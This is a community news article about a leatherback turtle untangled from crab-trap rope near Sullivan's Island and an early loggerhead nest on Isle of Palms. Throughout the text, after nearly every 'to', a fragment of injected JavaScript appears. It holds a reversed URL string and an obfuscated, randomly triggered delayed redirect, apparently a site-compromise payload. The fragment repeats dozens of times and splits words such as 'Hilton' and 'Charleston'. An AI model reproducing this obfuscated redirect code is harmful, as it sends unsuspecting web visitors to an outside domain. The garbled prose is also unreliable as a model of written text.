Turtle Season Starts With A Bang

By Mary Pringle for Island Eye News

On Saturday morning, April 29, Captain Chris Wilson of Finaddict/Light Tackle Charters spotted a leatherback turtle entangled in a crab trap rope in Cove Inlet near the Sullivan’s Island boat landing. He reported it tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the South Carolina Department of Natural Resources hotline in Columbia (1.800.922.5431) and got close enough tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the struggling turtle tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to cut the heavy crab trap away from the rope but was unable tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to remove the rope which was wrapped three times around the huge right front flipper.

When I got the call from Columbia, I called Chief Anthony Stith of the Sullivan’s Island Fire and Rescue Squad. He immediately dispatched a boat from the landing. These firemen rescuers were able tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to get close enough tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the exhausted leatherback who remained docile long enough for them tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to gently untangle the rope and large float that was still attached.

They could see that there were no apparent injuries. Over time this can cause lacerations and cut off of blood circulation causing the loss of a flipper in sea turtles. It appeared tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to be a very recent entanglement and the turtle swam away in the direction of the harbor. Thanks tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to Chief Stith and the quick response of his department, this was a very happy ending. They are always quick tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to respond when help is needed whether it is a stranded turtle or marine mammal, dead or alive, or an injured pelican or other shorebird.

Leatherbacks are the largest species of sea turtles and range worldwide. They can exceed nine feet in length and weigh as much as 2,000 lbs.

Unlike other sea turtles they have a smooth black rubbery skin with seven narrow bony longitudinal ridges the length of the carapace or back. They feed almost exclusively on jellyfish and are now making their annual northward migration along the Atlantic coast feeding on the cannonball jellies that we are seeing on the beach. Of the 59 turtle strandings reported in SC so far, we have documented seven of them on our two islands, including five leatherbacks of which four appeared tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to have been killed by ships and other watercraft offshore.

First Loggerhead Nest North of Florida is on Isle of Palms:

The next morning after the leatherback rescue Bill Schupp of the Isle of Palms called tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to report loggerhead tracks near 56 Avenue. The Turtle Team does not begin morning patrol until the first nest is laid in SC – usually in Hiltobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}ton Head or Kiawah or maybe at Cape Romain. So Bill’s report caused us not tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to miss the first nest laid not only in South Carolina but also in North Carolina and Georgia. This is the earliest nest we’ve ever had and we were not expecting an April start tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the season.

We found the eggs and decided tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to leave the nest where it was on the primary dune. Since Hurricane Matthew so many of the best dunes have been lost tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to erosion that the female turtles may have more trouble this season finding suitable nesting places. This means that we will probably again be relocating nests tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to safer places for incubation which lasts about two months.

Last season was the most successful ever with 6,444 loggerhead nests recorded in our state. This upward trend is encouraging and could possibly indicate that the downward trend in loggerhead population is responding tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to several decades or nest protection and conservation efforts.

Sea Turtle Nesting Season Reminders from SCDNR:

Keep Lights Out! on beachfront property during nesting season.

Refrain from using flash photobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tography on the beach at night.

Keep our beaches and ocean clean. Trash items such as plastic bags and balloons can cause injury or death when sea turtles mistake them for jellyfish, a favorite food.

Respect sea turtles by observing them from a distance on the beach.

Report dead or injured sea turtles and nest disturbances tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to SCDNR at 1.800.922.5431.

Mary Pringle is a resident of the Isle of Palms and grew up in downtobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}town Charlestobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}ton. She has been on the Turtle Team since 1998 and is now Project Leader for Isle of Palms and Sullivan’s Island for the South Carolina Department of Natural Resources. Pringle is also a medical clinic volunteer for the Center for Birds of Prey where about 400 raptobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tors and 200 shorebirds and nonraptobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tors are treated annually.

Leave a Reply

Your email address will not be published.